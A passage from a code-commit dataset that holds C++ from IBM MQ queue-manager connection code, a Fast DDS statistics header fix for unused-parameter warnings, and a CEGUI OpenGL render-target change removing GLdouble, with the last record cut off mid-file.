*\/\n\t\tauthInfoRec.Version = MQAIR_VERSION_2;\n\t\tauthInfoRec.AuthInfoType = MQAIT_OCSP;\n\n\t\tstrncpy(authInfoRec.OCSPResponderURL, ssl[\"ocsp_url\"].toString().c_str(), MQ_AUTH_INFO_OCSP_URL_LENGTH);\n\n\t\t\/* The MQSCO must point to the MQAIR *\/\n\t\tsco.AuthInfoRecCount = 1;\n\t\tsco.AuthInfoRecPtr = &authInfoRec;\n\t}\n\n\tcno.SSLConfigPtr = &sco;\n\n\tMQ::MQSubsystem& mqSystem = Poco::Util::Application::instance().getSubsystem<MQ::MQSubsystem>();\n\t_handle = mqSystem.functions().connx(_name, &cno);\n\n\tinquireQmgrAttrs();\n}\n\n\nvoid QueueManager::inquireQmgrAttrs()\n{\n\tMQ::MQSubsystem& mqSystem = Poco::Util::Application::instance().getSubsystem<MQ::MQSubsystem>();\n\n\tMQOD qmgrObjectDesc = {MQOD_DEFAULT};\n\tqmgrObjectDesc.ObjectType = MQOT_Q_MGR;\n\tMQHOBJ qmgrObjectHandle = mqSystem.functions().open(_handle, &qmgrObjectDesc, MQOO_INQUIRE);\n\n\tstd::vector<int> intSelectors;\n\tintSelectors.push_back(MQIA_PLATFORM);\n\n\tstd::map<int, int> charSelectors;\n\tcharSelectors[MQCA_Q_MGR_NAME] = MQ_Q_MGR_NAME_LENGTH;\n\tcharSelectors[MQCA_Q_MGR_IDENTIFIER] = MQ_Q_MGR_IDENTIFIER_LENGTH;\n\tcharSelectors[MQCA_COMMAND_INPUT_Q_NAME] = MQ_Q_NAME_LENGTH;\n\n\tstd::map<int, int> intResult;\n\tstd::map<int, std::string> charResult;\n\tmqSystem.functions().inq(_handle, qmgrObjectHandle, intSelectors, charSelectors, intResult, charResult);\n\n\t_applicationType = intResult[MQIA_PLATFORM];\n\t_name = charResult[MQCA_Q_MGR_NAME];\n\t_id = charResult[MQCA_Q_MGR_IDENTIFIER];\n\t_commandQueue = charResult[MQCA_COMMAND_INPUT_Q_NAME];\n\n\tmqSystem.functions().close(_handle, &qmgrObjectHandle, MQCO_NONE);\n}\n\nvoid QueueManager::disconnect()\n{\n\tif ( _handle != 0 )\n\t{\n\t\tMQ::MQSubsystem& mqSystem = Poco::Util::Application::instance().getSubsystem<MQ::MQSubsystem>();\n\t\tmqSystem.functions().disc(&_handle);\n\t\t_handle = 0;\n\t}\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2021 Proyectos y Sistemas de Mantenimiento SL (eProsima).\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/**\n * @file StatisticsBase.hpp\n *\/\n\n#ifndef _STATISTICS_RTPS_STATISTICSBASE_HPP_\n#define _STATISTICS_RTPS_STATISTICSBASE_HPP_\n\n#include <mutex>\n#include <set>\n\n#include <fastrtps\/config.h>\n\n#include <fastdds\/rtps\/common\/Guid.h>\n#include <fastdds\/rtps\/common\/Locator.h>\n\n#include <statistics\/types\/types.h>\n#include <statistics\/rtps\/GuidUtils.hpp>\n\n#include <fastdds\/statistics\/rtps\/StatisticsCommon.hpp>\n\nnamespace eprosima {\nnamespace fastrtps {\nnamespace rtps {\n\nclass PDP;\n\n} \/\/ rtps\n} \/\/ fastrtps\n\nnamespace fastdds {\nnamespace statistics {\n\n#ifdef FASTDDS_STATISTICS\n\n\/\/ RTPSWriter and RTPSReader statistics members\nstruct StatisticsAncillary\n{\n std::set<std::shared_ptr<IListener>> listeners;\n};\n\nstruct StatisticsWriterAncillary\n : public StatisticsAncillary\n{\n unsigned long long data_counter = {};\n unsigned long long gap_counter = {};\n unsigned long long resent_counter = {};\n};\n\nstruct StatisticsReaderAncillary\n : public StatisticsAncillary\n{\n};\n\n\/\/ lambda function to traverse the listener collection\ntemplate<class Function>\nFunction StatisticsListenersImpl::for_each_listener(\n Function f)\n{\n \/\/ Use a collection copy to prevent locking on traversal\n std::unique_lock<fastrtps::RecursiveTimedMutex> lock(get_statistics_mutex());\n auto listeners = members_->listeners;\n lock.unlock();\n\n if (members_)\n {\n for (auto& listener : listeners)\n {\n f(listener);\n }\n }\n\n return f;\n}\n\nclass StatisticsParticipantImpl\n{\n friend class fastrtps::rtps::PDP;\n\n \/\/ statistics members protection only\n std::recursive_mutex statistics_mutex_;\n\npublic:\n\n using GUID_t = fastrtps::rtps::GUID_t;\n\nprivate:\n\n \/\/ RTPS_SENT ancillary\n struct rtps_sent_data\n {\n unsigned long long packet_count = {};\n unsigned long long byte_count = {};\n };\n\n std::map<fastrtps::rtps::Locator_t, rtps_sent_data> traffic;\n\n \/\/ PDP_PACKETS ancillary\n unsigned long long pdp_counter_ = {};\n\n \/*\n * Retrieve the GUID_t from derived class\n * @return endpoint GUID_t\n *\/\n const GUID_t& get_guid() const;\n\nprotected:\n\n class ListenerProxy\n : public IListener\n , public std::enable_shared_from_this<ListenerProxy>\n {\n \/\/ the external_ listener is the actual key value\n mutable uint32_t mask_;\n std::shared_ptr<IListener> external_;\n\n public:\n\n ListenerProxy(\n std::shared_ptr<IListener> listener,\n uint32_t mask)\n : mask_(mask)\n , external_(listener)\n {\n }\n\n void on_statistics_data(\n const Data& data) override;\n\n uint32_t mask() const;\n void mask(\n uint32_t update) const;\n\n bool operator <(\n const ListenerProxy& right) const;\n\n std::shared_ptr<IListener> get_shared_ptr() const\n {\n return std::static_pointer_cast<IListener>(const_cast<ListenerProxy*>(this)->shared_from_this());\n }\n\n };\n\n using Key = std::shared_ptr<ListenerProxy>;\n\n \/\/ specialized comparison operator, the actual key is the external listener address\n struct CompareProxies\n {\n bool operator ()(\n const Key& left,\n const Key& right) const\n {\n return *left < *right;\n }\n\n };\n\n using ProxyCollection = std::set<Key, CompareProxies>;\n ProxyCollection listeners_;\n\n \/\/ retrieve the participant mutex\n std::recursive_mutex& get_statistics_mutex();\n\n \/** Register a listener in participant RTPSWriter entities.\n * @param listener, smart pointer to the listener interface to register\n * @param guid, RTPSWriter identifier. If unknown the listener is registered in all enable ones\n * @return true on success\n *\/\n virtual bool register_in_writer(\n std::shared_ptr<fastdds::statistics::IListener> listener,\n GUID_t guid = GUID_t::unknown()) = 0;\n\n \/** Register a listener in participant RTPSReader entities.\n * @param listener, smart pointer to the listener interface to register\n * @param guid, RTPSReader identifier. If unknown the listener is registered in all enable ones\n * @return true on success\n *\/\n virtual bool register_in_reader(\n std::shared_ptr<fastdds::statistics::IListener> listener,\n GUID_t guid = GUID_t::unknown()) = 0;\n\n \/** Unregister a listener in participant RTPSWriter entities.\n * @param listener, smart pointer to the listener interface to unregister\n * @return true on success\n *\/\n virtual bool unregister_in_writer(\n std::shared_ptr<fastdds::statistics::IListener> listener) = 0;\n\n \/** Unregister a listener in participant RTPSReader entities.\n * @param listener, smart pointer to the listener interface to unregister\n * @return true on success\n *\/\n virtual bool unregister_in_reader(\n std::shared_ptr<fastdds::statistics::IListener> listener) = 0;\n\n \/\/ lambda function to traverse the listener collection\n template<class Function>\n Function for_each_listener(\n Function f)\n {\n std::unique_lock<std::recursive_mutex> lock(get_statistics_mutex());\n auto temp_listeners = listeners_;\n lock.unlock();\n\n for (auto& listener : temp_listeners)\n {\n f(listener);\n }\n\n return f;\n }\n\n \/\/ returns if a mask statistics::EventKind may require participant writers update\n bool are_writers_involved(\n const uint32_t mask) const;\n\n \/\/ returns if a mask statistics::EventKind may require participant readers update\n bool are_readers_involved(\n const uint32_t mask) const;\n\n \/\/ TODO: methods for listeners callbacks\n\n \/*\n * Report a message that is sent by the participant\n * @param loc, destination\n * @param payload_size, size of the current message\n *\/\n void on_rtps_sent(\n const fastrtps::rtps::Locator_t& loc,\n unsigned long payload_size);\n\n \/*\n * Report a message that is sent by the participant\n * @param sender_guid GUID of the entity producing the message\n * @param destination_locators_begin, start of locators range\n * @param destination_locators_end, end of locators range\n * @param payload_size, size of the current message\n *\/\n template<class LocatorIteratorT>\n void on_rtps_send(\n const GUID_t& sender_guid,\n const LocatorIteratorT& destination_locators_begin,\n const LocatorIteratorT& destination_locators_end,\n unsigned long payload_size)\n {\n if (false == is_statistics_builtin(sender_guid.entityId))\n {\n auto it = destination_locators_begin;\n while (it != destination_locators_end)\n {\n on_rtps_sent(*it, payload_size);\n ++it;\n }\n }\n }\n\n \/*\n * Report that a new entity is discovered\n * @param id, discovered entity GUID_t\n *\/\n void on_entity_discovery(\n const GUID_t& id);\n\n \/*\n * Auxiliary method to report PDP message exchange.\n * @param packages number of pdp packages sent\n *\/\n void on_pdp_packet(\n const uint32_t packages);\n\n \/*\n * Report PDP message exchange.\n * We filtered the non-pdp traffic here to minimize presence of statistics code in endpoints implementation.\n * @param sender_guid GUID_t to filter\n * @param destination_locators_begin, start of locators range\n * @param destination_locators_end, end of locators range\n *\/\n template<class LocatorIteratorT>\n void on_pdp_packet(\n const GUID_t& sender_guid,\n const LocatorIteratorT& destination_locators_begin,\n const LocatorIteratorT& destination_locators_end)\n {\n if (sender_guid.entityId == fastrtps::rtps::c_EntityId_SPDPWriter\n && destination_locators_begin != destination_locators_end)\n {\n uint32_t packages = 0;\n auto it = destination_locators_begin;\n while (it != destination_locators_end)\n {\n ++it;\n ++packages;\n }\n\n on_pdp_packet(packages);\n }\n }\n\npublic:\n\n \/*\n * Registers a listener in participant's statistics callback queue\n * @param listener smart pointer to the listener being registered\n * @param kind combination of fastdds::statistics::EventKind flags used as a mask\n * @return successfully registered\n *\/\n bool add_statistics_listener(\n std::shared_ptr<fastdds::statistics::IListener> listener,\n uint32_t kind);\n\n \/*\n * Unregisters a listener in participant's statistics callback queue\n * @param listener smart pointer to the listener being unregistered\n * @param kind combination of fastdds::statistics::EventKind flags used as a mask\n * @return successfully unregistered\n *\/\n bool remove_statistics_listener(\n std::shared_ptr<fastdds::statistics::IListener> listener,\n uint32_t kind);\n};\n\n\/\/ auxiliary conversion functions\ndetail::Locator_s to_statistics_type(fastrtps::rtps::Locator_t);\ndetail::GUID_s to_statistics_type(fastrtps::rtps::GUID_t);\n\n#else \/\/ dummy implementation\n\nstruct StatisticsAncillary {};\n\nclass StatisticsParticipantImpl\n{\n friend class fastrtps::rtps::PDP;\n\nprotected:\n\n \/\/ inline methods for listeners callbacks\n\n \/*\n * Report a message that is sent by the participant\n * @param destination_locators_begin, start of locators range\n * @param destination_locators_end, end of locators range\n * @param payload_size, size of the current message\n *\/\n template<class LocatorIteratorT>\n inline void on_rtps_send(\n const fastrtps::rtps::GUID_t&,\n const LocatorIteratorT&,\n const LocatorIteratorT&,\n unsigned long)\n {\n }\n\n \/*\n * Report that a new entity is discovered\n * @param id, discovered entity GUID_t\n *\/\n inline void on_entity_discovery(\n const fastrtps::rtps::GUID_t&)\n {\n }\n\n \/*\n * Report PDP message exchange.\n * We filtered the non-pdp traffic here to minimize presence of statistics code in endpoints implementation.\n * @param sender_guid GUID_t to filter\n * @param destination_locators_begin, start of locators range\n * @param destination_locators_end, end of locators range\n *\/\n template<class LocatorIteratorT>\n inline void on_pdp_packet(\n const fastrtps::rtps::GUID_t& sender_guid,\n const LocatorIteratorT& destination_locators_begin,\n const LocatorIteratorT& destination_locators_end)\n {\n }\n\n};\n\n#endif \/\/ FASTDDS_STATISTICS\n\n} \/\/ namespace statistics\n} \/\/ namespace fastdds\n} \/\/ namespace eprosima\n\n#endif \/\/ _STATISTICS_RTPS_STATISTICSBASE_HPP_\n<commit_msg>Fix unused-parameter warnings<commit_after>\/\/ Copyright 2021 Proyectos y Sistemas de Mantenimiento SL (eProsima).\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\/**\n * @file StatisticsBase.hpp\n *\/\n\n#ifndef _STATISTICS_RTPS_STATISTICSBASE_HPP_\n#define _STATISTICS_RTPS_STATISTICSBASE_HPP_\n\n#include <mutex>\n#include <set>\n\n#include <fastrtps\/config.h>\n\n#include <fastdds\/rtps\/common\/Guid.h>\n#include <fastdds\/rtps\/common\/Locator.h>\n\n#include <statistics\/types\/types.h>\n#include <statistics\/rtps\/GuidUtils.hpp>\n\n#include <fastdds\/statistics\/rtps\/StatisticsCommon.hpp>\n\nnamespace eprosima {\nnamespace fastrtps {\nnamespace rtps {\n\nclass PDP;\n\n} \/\/ rtps\n} \/\/ fastrtps\n\nnamespace fastdds {\nnamespace statistics {\n\n#ifdef FASTDDS_STATISTICS\n\n\/\/ RTPSWriter and RTPSReader statistics members\nstruct StatisticsAncillary\n{\n std::set<std::shared_ptr<IListener>> listeners;\n};\n\nstruct StatisticsWriterAncillary\n : public StatisticsAncillary\n{\n unsigned long long data_counter = {};\n unsigned long long gap_counter = {};\n unsigned long long resent_counter = {};\n};\n\nstruct StatisticsReaderAncillary\n : public StatisticsAncillary\n{\n};\n\n\/\/ lambda function to traverse the listener collection\ntemplate<class Function>\nFunction StatisticsListenersImpl::for_each_listener(\n Function f)\n{\n \/\/ Use a collection copy to prevent locking on traversal\n std::unique_lock<fastrtps::RecursiveTimedMutex> lock(get_statistics_mutex());\n auto listeners = members_->listeners;\n lock.unlock();\n\n if (members_)\n {\n for (auto& listener : listeners)\n {\n f(listener);\n }\n }\n\n return f;\n}\n\nclass StatisticsParticipantImpl\n{\n friend class fastrtps::rtps::PDP;\n\n \/\/ statistics members protection only\n std::recursive_mutex statistics_mutex_;\n\npublic:\n\n using GUID_t = fastrtps::rtps::GUID_t;\n\nprivate:\n\n \/\/ RTPS_SENT ancillary\n struct rtps_sent_data\n {\n unsigned long long packet_count = {};\n unsigned long long byte_count = {};\n };\n\n std::map<fastrtps::rtps::Locator_t, rtps_sent_data> traffic;\n\n \/\/ PDP_PACKETS ancillary\n unsigned long long pdp_counter_ = {};\n\n \/*\n * Retrieve the GUID_t from derived class\n * @return endpoint GUID_t\n *\/\n const GUID_t& get_guid() const;\n\nprotected:\n\n class ListenerProxy\n : public IListener\n , public std::enable_shared_from_this<ListenerProxy>\n {\n \/\/ the external_ listener is the actual key value\n mutable uint32_t mask_;\n std::shared_ptr<IListener> external_;\n\n public:\n\n ListenerProxy(\n std::shared_ptr<IListener> listener,\n uint32_t mask)\n : mask_(mask)\n , external_(listener)\n {\n }\n\n void on_statistics_data(\n const Data& data) override;\n\n uint32_t mask() const;\n void mask(\n uint32_t update) const;\n\n bool operator <(\n const ListenerProxy& right) const;\n\n std::shared_ptr<IListener> get_shared_ptr() const\n {\n return std::static_pointer_cast<IListener>(const_cast<ListenerProxy*>(this)->shared_from_this());\n }\n\n };\n\n using Key = std::shared_ptr<ListenerProxy>;\n\n \/\/ specialized comparison operator, the actual key is the external listener address\n struct CompareProxies\n {\n bool operator ()(\n const Key& left,\n const Key& right) const\n {\n return *left < *right;\n }\n\n };\n\n using ProxyCollection = std::set<Key, CompareProxies>;\n ProxyCollection listeners_;\n\n \/\/ retrieve the participant mutex\n std::recursive_mutex& get_statistics_mutex();\n\n \/** Register a listener in participant RTPSWriter entities.\n * @param listener, smart pointer to the listener interface to register\n * @param guid, RTPSWriter identifier. If unknown the listener is registered in all enable ones\n * @return true on success\n *\/\n virtual bool register_in_writer(\n std::shared_ptr<fastdds::statistics::IListener> listener,\n GUID_t guid = GUID_t::unknown()) = 0;\n\n \/** Register a listener in participant RTPSReader entities.\n * @param listener, smart pointer to the listener interface to register\n * @param guid, RTPSReader identifier. If unknown the listener is registered in all enable ones\n * @return true on success\n *\/\n virtual bool register_in_reader(\n std::shared_ptr<fastdds::statistics::IListener> listener,\n GUID_t guid = GUID_t::unknown()) = 0;\n\n \/** Unregister a listener in participant RTPSWriter entities.\n * @param listener, smart pointer to the listener interface to unregister\n * @return true on success\n *\/\n virtual bool unregister_in_writer(\n std::shared_ptr<fastdds::statistics::IListener> listener) = 0;\n\n \/** Unregister a listener in participant RTPSReader entities.\n * @param listener, smart pointer to the listener interface to unregister\n * @return true on success\n *\/\n virtual bool unregister_in_reader(\n std::shared_ptr<fastdds::statistics::IListener> listener) = 0;\n\n \/\/ lambda function to traverse the listener collection\n template<class Function>\n Function for_each_listener(\n Function f)\n {\n std::unique_lock<std::recursive_mutex> lock(get_statistics_mutex());\n auto temp_listeners = listeners_;\n lock.unlock();\n\n for (auto& listener : temp_listeners)\n {\n f(listener);\n }\n\n return f;\n }\n\n \/\/ returns if a mask statistics::EventKind may require participant writers update\n bool are_writers_involved(\n const uint32_t mask) const;\n\n \/\/ returns if a mask statistics::EventKind may require participant readers update\n bool are_readers_involved(\n const uint32_t mask) const;\n\n \/\/ TODO: methods for listeners callbacks\n\n \/*\n * Report a message that is sent by the participant\n * @param loc, destination\n * @param payload_size, size of the current message\n *\/\n void on_rtps_sent(\n const fastrtps::rtps::Locator_t& loc,\n unsigned long payload_size);\n\n \/*\n * Report a message that is sent by the participant\n * @param sender_guid GUID of the entity producing the message\n * @param destination_locators_begin, start of locators range\n * @param destination_locators_end, end of locators range\n * @param payload_size, size of the current message\n *\/\n template<class LocatorIteratorT>\n void on_rtps_send(\n const GUID_t& sender_guid,\n const LocatorIteratorT& destination_locators_begin,\n const LocatorIteratorT& destination_locators_end,\n unsigned long payload_size)\n {\n if (false == is_statistics_builtin(sender_guid.entityId))\n {\n auto it = destination_locators_begin;\n while (it != destination_locators_end)\n {\n on_rtps_sent(*it, payload_size);\n ++it;\n }\n }\n }\n\n \/*\n * Report that a new entity is discovered\n * @param id, discovered entity GUID_t\n *\/\n void on_entity_discovery(\n const GUID_t& id);\n\n \/*\n * Auxiliary method to report PDP message exchange.\n * @param packages number of pdp packages sent\n *\/\n void on_pdp_packet(\n const uint32_t packages);\n\n \/*\n * Report PDP message exchange.\n * We filtered the non-pdp traffic here to minimize presence of statistics code in endpoints implementation.\n * @param sender_guid GUID_t to filter\n * @param destination_locators_begin, start of locators range\n * @param destination_locators_end, end of locators range\n *\/\n template<class LocatorIteratorT>\n void on_pdp_packet(\n const GUID_t& sender_guid,\n const LocatorIteratorT& destination_locators_begin,\n const LocatorIteratorT& destination_locators_end)\n {\n if (sender_guid.entityId == fastrtps::rtps::c_EntityId_SPDPWriter\n && destination_locators_begin != destination_locators_end)\n {\n uint32_t packages = 0;\n auto it = destination_locators_begin;\n while (it != destination_locators_end)\n {\n ++it;\n ++packages;\n }\n\n on_pdp_packet(packages);\n }\n }\n\npublic:\n\n \/*\n * Registers a listener in participant's statistics callback queue\n * @param listener smart pointer to the listener being registered\n * @param kind combination of fastdds::statistics::EventKind flags used as a mask\n * @return successfully registered\n *\/\n bool add_statistics_listener(\n std::shared_ptr<fastdds::statistics::IListener> listener,\n uint32_t kind);\n\n \/*\n * Unregisters a listener in participant's statistics callback queue\n * @param listener smart pointer to the listener being unregistered\n * @param kind combination of fastdds::statistics::EventKind flags used as a mask\n * @return successfully unregistered\n *\/\n bool remove_statistics_listener(\n std::shared_ptr<fastdds::statistics::IListener> listener,\n uint32_t kind);\n};\n\n\/\/ auxiliary conversion functions\ndetail::Locator_s to_statistics_type(fastrtps::rtps::Locator_t);\ndetail::GUID_s to_statistics_type(fastrtps::rtps::GUID_t);\n\n#else \/\/ dummy implementation\n\nstruct StatisticsAncillary {};\n\nclass StatisticsParticipantImpl\n{\n friend class fastrtps::rtps::PDP;\n\nprotected:\n\n \/\/ inline methods for listeners callbacks\n\n \/*\n * Report a message that is sent by the participant\n * @param destination_locators_begin, start of locators range\n * @param destination_locators_end, end of locators range\n * @param payload_size, size of the current message\n *\/\n template<class LocatorIteratorT>\n inline void on_rtps_send(\n const fastrtps::rtps::GUID_t&,\n const LocatorIteratorT&,\n const LocatorIteratorT&,\n unsigned long)\n {\n }\n\n \/*\n * Report that a new entity is discovered\n * @param id, discovered entity GUID_t\n *\/\n inline void on_entity_discovery(\n const fastrtps::rtps::GUID_t&)\n {\n }\n\n \/*\n * Report PDP message exchange.\n * We filtered the non-pdp traffic here to minimize presence of statistics code in endpoints implementation.\n * @param GUID_t to filter\n * @param start of locators range\n * @param end of locators range\n *\/\n template<class LocatorIteratorT>\n inline void on_pdp_packet(\n const fastrtps::rtps::GUID_t&,\n const LocatorIteratorT&,\n const LocatorIteratorT&)\n {\n }\n\n};\n\n#endif \/\/ FASTDDS_STATISTICS\n\n} \/\/ namespace statistics\n} \/\/ namespace fastdds\n} \/\/ namespace eprosima\n\n#endif \/\/ _STATISTICS_RTPS_STATISTICSBASE_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/***********************************************************************\n created: Wed, 8th Feb 2012\n author: Lukas E Meindl (based on code by Paul D Turner)\n*************************************************************************\/\n\/***************************************************************************\n * Copyright (C) 2004 - 2012 Paul D Turner & The CEGUI Development Team\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n ***************************************************************************\/\n#include \"CEGUI\/RendererModules\/OpenGL\/RenderTarget.h\"\n#include \"CEGUI\/RendererModules\/OpenGL\/GeometryBufferBase.h\"\n\n#include <glm\/glm.hpp>\n#include <glm\/gtc\/matrix_transform.hpp>\n\n#include <cmath>\n\n\/\/ Start of CEGUI namespace section\nnamespace CEGUI\n{\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nOpenGLRenderTarget<T>::OpenGLRenderTarget(OpenGLRendererBase& owner) :\n d_owner(owner)\n{\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nOpenGLRenderTarget<T>::~OpenGLRenderTarget()\n{\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::activate()\n{\n glViewport(static_cast<GLsizei>(RenderTarget::d_area.left()),\n static_cast<GLsizei>(RenderTarget::d_area.top()),\n static_cast<GLsizei>(RenderTarget::d_area.getWidth()),\n static_cast<GLsizei>(RenderTarget::d_area.getHeight()));\n\n if (!RenderTarget::d_matrixValid)\n updateMatrix();\n\n d_owner.setViewProjectionMatrix(RenderTarget::d_matrix);\n\n RenderTarget::activate();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::unprojectPoint(const GeometryBuffer& buff,\n const glm::vec2& p_in, glm::vec2& p_out) const\n{\n if (!RenderTarget::d_matrixValid)\n updateMatrix();\n\n const OpenGLGeometryBufferBase& gb =\n static_cast<const OpenGLGeometryBufferBase&>(buff);\n\n const GLint vp[4] = {\n static_cast<GLint>(RenderTarget::d_area.left()),\n static_cast<GLint>(RenderTarget::d_area.top()),\n static_cast<GLint>(RenderTarget::d_area.getWidth()),\n static_cast<GLint>(RenderTarget::d_area.getHeight())\n };\n\n GLdouble in_x, in_y, in_z;\n\n glm::ivec4 viewPort = glm::ivec4(vp[0], vp[1], vp[2], vp[3]);\n const glm::mat4& projMatrix = RenderTarget::d_matrix;\n const glm::mat4& modelMatrix = gb.getModelMatrix();\n\n \/\/ unproject the ends of the ray\n glm::vec3 unprojected1;\n glm::vec3 unprojected2;\n in_x = vp[2] * 0.5;\n in_y = vp[3] * 0.5;\n in_z = -RenderTarget::d_viewDistance;\n unprojected1 = glm::unProject(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n in_x = p_in.x;\n in_y = vp[3] - p_in.y;\n in_z = 0.0;\n unprojected2 = glm::unProject(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n\n \/\/ project points to orientate them with GeometryBuffer plane\n glm::vec3 projected1;\n glm::vec3 projected2;\n glm::vec3 projected3;\n in_x = 0.0;\n in_y = 0.0;\n projected1 = glm::project(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n in_x = 1.0;\n in_y = 0.0;\n projected2 = glm::project(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n in_x = 0.0;\n in_y = 1.0;\n projected3 = glm::project(glm::vec3(in_x, in_y, in_z), modelMatrix, projMatrix, viewPort);\n\n \/\/ calculate vectors for generating the plane\n const glm::vec3 pv1 = projected2 - projected1;\n const glm::vec3 pv2 = projected3 - projected1;\n \/\/ given the vectors, calculate the plane normal\n const glm::vec3 planeNormal = glm::cross(pv1, pv2);\n \/\/ calculate plane\n const glm::vec3 planeNormalNormalized = glm::normalize(planeNormal);\n const double pl_d = - glm::dot(projected1, planeNormalNormalized);\n \/\/ calculate vector of picking ray\n const glm::vec3 rv = unprojected1 - unprojected2;\n \/\/ calculate intersection of ray and plane\n const double pn_dot_r1 = glm::dot(unprojected1, planeNormal);\n const double pn_dot_rv = glm::dot(rv, planeNormal);\n const double tmp1 = pn_dot_rv != 0.0 ? (pn_dot_r1 + pl_d) \/ pn_dot_rv : 0.0;\n const double is_x = unprojected1.x - rv.x * tmp1;\n const double is_y = unprojected1.y - rv.y * tmp1;\n\n p_out.x = static_cast<float>(is_x);\n p_out.y = static_cast<float>(is_y);\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::updateMatrix() const\n{\n RenderTarget::updateMatrix( RenderTarget::createViewProjMatrixForOpenGL() );\n}\n\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nOpenGLRendererBase& OpenGLRenderTarget<T>::getOwner()\n{\n return d_owner;\n}\n\n\n\/\/----------------------------------------------------------------------------\/\/\n\n} \/\/ End of CEGUI namespace section\n<commit_msg>GLES2\/3 does not support GLdouble<commit_after>\/***********************************************************************\n created: Wed, 8th Feb 2012\n author: Lukas E Meindl (based on code by Paul D Turner)\n*************************************************************************\/\n\/***************************************************************************\n * Copyright (C) 2004 - 2012 Paul D Turner & The CEGUI Development Team\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR\n * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,\n * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n * OTHER DEALINGS IN THE SOFTWARE.\n ***************************************************************************\/\n#include \"CEGUI\/RendererModules\/OpenGL\/RenderTarget.h\"\n#include \"CEGUI\/RendererModules\/OpenGL\/GeometryBufferBase.h\"\n\n#include <glm\/glm.hpp>\n#include <glm\/gtc\/matrix_transform.hpp>\n\n#include <cmath>\n\n\/\/ Start of CEGUI namespace section\nnamespace CEGUI\n{\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nOpenGLRenderTarget<T>::OpenGLRenderTarget(OpenGLRendererBase& owner) :\n d_owner(owner)\n{\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nOpenGLRenderTarget<T>::~OpenGLRenderTarget()\n{\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::activate()\n{\n glViewport(static_cast<GLsizei>(RenderTarget::d_area.left()),\n static_cast<GLsizei>(RenderTarget::d_area.top()),\n static_cast<GLsizei>(RenderTarget::d_area.getWidth()),\n static_cast<GLsizei>(RenderTarget::d_area.getHeight()));\n\n if (!RenderTarget::d_matrixValid)\n updateMatrix();\n\n d_owner.setViewProjectionMatrix(RenderTarget::d_matrix);\n\n RenderTarget::activate();\n}\n\n\/\/----------------------------------------------------------------------------\/\/\ntemplate <typename T>\nvoid OpenGLRenderTarget<T>::unprojectPoint(const GeometryBuffer& buff,\n const glm::vec2& p_in, glm::vec2& p_out) const\n{\n if (!RenderTarget::d_matrixValid)\n 